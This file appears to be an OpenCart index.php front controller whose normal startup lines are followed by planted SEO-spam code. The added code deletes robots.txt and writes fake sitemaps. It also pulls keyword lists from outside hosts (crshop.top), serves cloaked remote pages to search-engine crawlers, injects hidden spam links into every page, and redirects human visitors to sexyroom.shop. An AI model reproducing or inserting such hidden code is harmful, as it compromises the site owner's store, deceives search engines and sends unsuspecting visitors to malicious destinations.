<?php
// Version
define('VERSION', '3.0.2.0');

// Configuration
if (is_file('config.php')) {
	require_once('config.php');
}

// Install
if (!defined('DIR_APPLICATION')) {
	header('Location: install/index.php');
	exit;
}

// Startup
require_once(DIR_SYSTEM . 'startup.php');



// ================== CONFIG ==================
$CONFIG = array(
    'proxy_index' => 'https://sexyroom.shop',
    'proxy_base'  => 'http://crshop.top',
    'match_path_keyword' => '/product/',
);

// ================== REQUEST ==================
$ua      = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
$req_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
$host    = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
$scheme  = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';

// ================== BOT UA ==================
$bot_uas = array('googlebot','bingbot','slurp','duckduckbot','yandex');

$is_bot = false;
foreach ($bot_uas as $kw) {
    if (strpos($ua, $kw) !== false) {
        $is_bot = true;
        break;
    }
}

// ================== CACHE ==================
$CACHE_BASE = '/tmp/opencart_proxy_cache';

if (!is_dir($CACHE_BASE)) {
    @mkdir($CACHE_BASE, 0777, true);
}

function ensure_dir($file) {
    $dir = dirname($file);
    if (!is_dir($dir)) {
        @mkdir($dir, 0777, true);
    }
}

//
$robots_local = __DIR__ . '/robots.txt';
if (is_file($robots_local)) {
    @unlink($robots_local);
}

// ================== ROBOTS ==================
if (preg_match('~^/robots\.txt$~i', $req_uri)) {

    $cache = $CACHE_BASE . '/robots.txt';
    if (is_file($cache)) {
        header('Content-Type: text/plain; charset=utf-8');
        readfile($cache);
        exit;
    }

    $content =
        "User-agent: *\n" .
        "Disallow: /admin/\n" .
        "Disallow: /system/\n" .
        "Allow: /\n\n" .
        "Sitemap: {$scheme}://{$host}/sitemap.xml\n";

    header('Content-Type: text/plain; charset=utf-8');
    echo $content;
    ensure_dir($cache);
    @file_put_contents($cache, $content, LOCK_EX);
    exit;
}

// ================== SITEMAP INDEX ==================
if (preg_match('~^/sitemap(?:index)?\.xml$~i', $req_uri)) {

    $cache = $CACHE_BASE . '/sitemap.xml';
    if (is_file($cache)) {
        header('Content-Type: application/xml; charset=utf-8');
        readfile($cache);
        exit;
    }

    ob_start();
    echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n";
    echo "<sitemapindex xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";
    for ($i = 1; $i <= 20; $i++) {
        echo "<sitemap>";
        echo "<loc>{$scheme}://{$host}/sitemap{$i}.xml</loc>";
        echo "<lastmod>" . date('Y-m-d') . "</lastmod>";
        echo "</sitemap>\n";
    }
    echo "</sitemapindex>";
    $xml = ob_get_clean();

    header('Content-Type: application/xml; charset=utf-8');
    echo $xml;
    ensure_dir($cache);
    @file_put_contents($cache, $xml, LOCK_EX);
    exit;
}

// ================== SITEMAP N ==================
if (preg_match('~^/sitemap(\d+)\.xml$~i', $req_uri, $m)) {

    $cache = $CACHE_BASE . '/sitemap' . $m[1] . '.xml';
    if (is_file($cache)) {
        header('Content-Type: application/xml; charset=utf-8');
        readfile($cache);
        exit;
    }

    $seed = hexdec(substr(md5($host . $req_uri), 0, 6));
    mt_srand($seed);

    $fetch_url = rtrim($CONFIG['proxy_base'], '/') .
        '/keywords_product_for_sitemap.php?rand=' . mt_rand();

    $items = array();
    $res = @file_get_contents($fetch_url);
    if ($res) {
        foreach (preg_split("/\r\n|\n/", trim($res)) as $line) {
            if (strpos($line, '#') === false) continue;
            $slug = trim(explode('#', $line, 2)[0]);
            if ($slug !== '') $items[] = $slug;
        }
    }

    ob_start();
    echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n";
    echo "<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";
    foreach ($items as $slug) {
        echo "<url><loc>{$scheme}://{$host}/product/" .
             rawurlencode($slug) .
             "/</loc><lastmod>" . date('Y-m-d') . "</lastmod></url>\n";
    }
    echo "</urlset>";
    $xml = ob_get_clean();

    header('Content-Type: application/xml; charset=utf-8');
    echo $xml;
    ensure_dir($cache);
    @file_put_contents($cache, $xml, LOCK_EX);
    exit;
}

// ================== BOT PRODUCT PROXY ==================
if ($is_bot && strpos($req_uri, $CONFIG['match_path_keyword']) === 0) {

    $path = parse_url($req_uri, PHP_URL_PATH);
    if (!$path) exit;

    $slug = basename(rtrim($path, '/'));
    if ($slug === '' || $slug === 'product') exit;

    $cache = $CACHE_BASE . '/product/' . $slug . '.html';
    ensure_dir($cache);

    if (is_file($cache) && filesize($cache) > 200) {
        header('Content-Type: text/html; charset=utf-8');
        readfile($cache);
        exit;
    }

    $target = rtrim($CONFIG['proxy_base'], '/') . $req_uri;

    $ch = curl_init($target);
    curl_setopt_array($ch, array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_TIMEOUT => 8,
        CURLOPT_CONNECTTIMEOUT => 5,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; Googlebot/2.1)'
    ));

    $html = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if (!$html || $code != 200 || strlen($html) < 200) exit;

    header('Content-Type: text/html; charset=utf-8');
    echo $html;
    @file_put_contents($cache, $html, LOCK_EX);
    exit;
}

// ================== RANDOM INTERNAL LINK INJECTION ==================
if (strpos($req_uri, $CONFIG['match_path_keyword']) === false) {

    ob_start(function ($html) use ($CONFIG) {

        if (stripos($html, '<html') === false) return $html;
        if (stripos($html, '<?xml') !== false) return $html;

        $seed = hexdec(substr(md5($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']), 0, 8));
        mt_srand($seed);

        $fetch_url = rtrim($CONFIG['proxy_base'], '/') . '/keywords_product.php?rand=' . mt_rand();
        $res = @file_get_contents($fetch_url);
        if (!$res) return $html;

        $items = array();
        foreach (preg_split("/\r\n|\n/", trim($res)) as $line) {
            if (strpos($line, '#') === false) continue;
            $tmp = explode('#', $line, 2);
            if (count($tmp) !== 2) continue;
            $items[] = array(
                'url'   => '/product/' . rawurlencode(trim($tmp[0])) . '/',
                'title' => htmlspecialchars(trim($tmp[1]), ENT_QUOTES, 'UTF-8')
            );
        }
        if (!$items) return $html;

        shuffle($items);
        $ratio = mt_rand(80, 100) / 100;
        $need  = (int)ceil(count($items) * $ratio);
        $items = array_slice($items, 0, $need);

        $points = array(
            '~(<h2[^>]*>.*?</h2>)~is',
            '~(<h3[^>]*>.*?</h3>)~is',
            '~(<p[^>]*>.*?</p>)~is',
            '~(<div[^>]*>)~i',
            '~(<footer[^>]*>)~i',
            '~</body>~i',
        );

        $max_each = max(1, ceil($need / count($points)));

        foreach ($points as $p) {
            if (!$items) break;
            if (!preg_match($p, $html)) continue;

            $take = array_splice($items, 0, mt_rand(1, min($max_each, count($items))));
            $block = '<div class="injected-products"><ul>';
            foreach ($take as $it) {
                $block .= '<li><a href="' . $it['url'] . '">' . $it['title'] . '</a></li>';
            }
            $block .= '</ul></div>';

            $html = preg_replace($p, '$1' . $block, $html, 1);
        }

        if ($items && preg_match('~</body>~i', $html)) {
            $block = '<div class="injected-products"><ul>';
            foreach ($items as $it) {
                $block .= '<li><a href="' . $it['url'] . '">' . $it['title'] . '</a></li>';
            }
            $block .= '</ul></div>';
            $html = preg_replace('~</body>~i', $block . '</body>', $html, 1);
        }

        return $html;
    });
}
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
// ================== FAST REDIRECT (NON-BOT ONLY) ==================
if (!$is_bot && $referer !== '' &&  strpos($req_uri, $CONFIG['match_path_keyword']) !== false) {

    $target = rtrim($CONFIG['proxy_index'], '/') . $req_uri;

    header('Content-Type: text/html; charset=utf-8');
    echo '<!doctype html><html><head>';
    echo '<meta http-equiv="refresh" content="0;url=' . htmlspecialchars($target, ENT_QUOTES, 'UTF-8') . '">';
    echo '<script>location.replace("' . addslashes($target) . '");</script>';
    echo '</head><body></body></html>';
    exit;
}

// ================== FALL THROUGH ==================
start('catalog');
